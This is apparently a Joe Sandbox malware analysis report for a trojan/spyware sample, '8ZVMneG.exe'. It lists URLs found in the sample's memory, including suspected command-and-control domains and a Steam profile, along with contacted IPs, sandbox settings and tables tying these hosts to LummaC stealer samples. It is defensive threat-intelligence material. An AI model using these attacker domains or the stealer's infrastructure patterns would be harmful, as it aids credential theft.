https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/OF_	8ZVMneG.exe, 00000003.00000003.2483406156.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000002.2484883630.000000000141C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/g	8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://s.ytimg.com;	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/e	8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/	8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steam.tv/	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://debonairnukk.xyz/api2H	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/	8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2354896716.0000000003C1C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000002.2484883630.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2399977215.0000000003C1F000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2354654616.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2427078648.0000000003C1C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2402833146.0000000003C1F000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440560885.0000000003C1C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://store.steampowered.com/privacy_agreement/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://wrathful-jammy.cyou/	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/points/shop/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/;.	8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sketchfab.com	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lv.queniujq.cn	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/profiles/76561199724331900/inventory/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	8ZVMneG.exe, 00000003.00000003.2377179600.0000000003D36000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/privacy_agreement/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/recaptcha/	8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://checkout.steampowered.com/	8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=lILQ2m8IgfoI&l=e	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/;	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/about/	8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/my/wishlist/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.co	8ZVMneG.exe, 00000003.00000003.2483406156.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000002.2484883630.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/Dr	8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://help.steampowered.com/en/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/market/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/news/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://store.steampowered.com/subscriber_agreement/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://recaptcha.net/recaptcha/;	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/discussions/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://debonairnukk.xyz/api	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/stats/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=Q6Qn	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://medal.tv	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://broadcast.st.dl.eccdnx.com	8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/steam_refunds/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/(x8	8ZVMneG.exe, 00000003.00000003.2402881702.000000000141A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2403246485.000000000141C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/workshop/	8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
178.62.201.34	immureprech.biz	European Union	14061	DIGITALOCEAN-ASNUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578702
Start date and time:	2024-12-20 07:03:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8ZVMneG.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@13/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 20 Number of non-executed functions: 54
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 8ZVMneG.exe, PID 2144 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:04:00	API Interceptor	14x Sleep call for process: 8ZVMneG.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
23.55.153.106	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse
	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse
	cccc2.exe	Get hash	malicious	LummaC	Browse
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
178.62.201.34	java.exe	Get hash	malicious	Tinba	Browse	uyhgqunqkxnx.pw/EiDQjNbWEQ/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	172.67.157.254
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	1fxm3u0d.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
immureprech.biz	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.131.68.180
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	178.62.201.34
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	45.77.249.79
	sNWQ2gC6if.exe	Get hash	malicious	LummaC	Browse	104.131.68.180
	66DJ2wErLz.exe	Get hash	malicious	LummaC	Browse	178.62.201.34
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	45.77.249.79
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	104.131.68.180
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	178.62.201.34
	SkaKk8Z1J0.exe	Get hash	malicious	LummaC	Browse	45.77.249.79
	N1sb7Ii2YD.exe	Get hash	malicious	LummaC	Browse	178.62.201.34
deafeninggeh.biz	ardware-v1.exe	Get hash	malicious	LummaC	Browse	45.77.249.79
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	104.131.68.180
	sNWQ2gC6if.exe	Get hash	malicious	LummaC	Browse	104.131.68.180
	66DJ2wErLz.exe	Get hash	malicious	LummaC	Browse	45.77.249.79
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	104.131.68.180
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	45.77.249.79
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	104.131.68.180
	SkaKk8Z1J0.exe	Get hash	malicious	LummaC	Browse	104.131.68.180
	N1sb7Ii2YD.exe	Get hash	malicious	LummaC	Browse	178.62.201.34
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.131.68.180
steamcommunity.com	qth5kdee.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	LgendPremium.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	f86nrrc6.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	cccc2.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	172.234.241.24
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse	23.55.153.106
	https://whtt.termlicari.ru/HnkNbg/	Get hash	malicious	Unknown	Browse	2.16.168.119
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	184.51.149.224
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.13.125.21
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	2.16.158.73
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	23.219.82.40
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	23.44.203.15
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	23.44.203.84
	https://docs.google.com/forms/d/e/1FAIpQLSfpC7xVRv07m89Wl9UZXAneGiWD8iBvaXR4E1UxBoramir5pg/viewform?usp=header	Get hash	malicious	HTMLPhisher	Browse	172.233.62.38
DIGITALOCEAN-ASNUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.131.68.180
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse	178.62.201.34
	ir_agent.exe	Get hash	malicious	Metasploit	Browse	157.230.10.115
